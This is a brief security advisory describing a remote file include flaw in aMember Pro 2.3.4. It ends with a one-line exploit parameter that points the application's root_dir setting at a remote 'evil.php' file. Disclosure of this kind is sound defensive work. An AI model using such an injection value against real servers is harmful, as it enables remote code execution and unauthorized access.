source: http://www.securityfocus.com/bid/14777/info

aMember is prone to a remote file include vulnerability.

Input passed to various scripts is not sufficiently sanitized. An attacker could host arbitrary malicious code in a file at an attacker-controlled site and include the file using a URI parameter.

This issue may be leveraged to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

aMember Pro 2.3.4 is reportedly affected, other versions may also be vulnerable. 

config[root_dir]=http://example.com/evil.php? 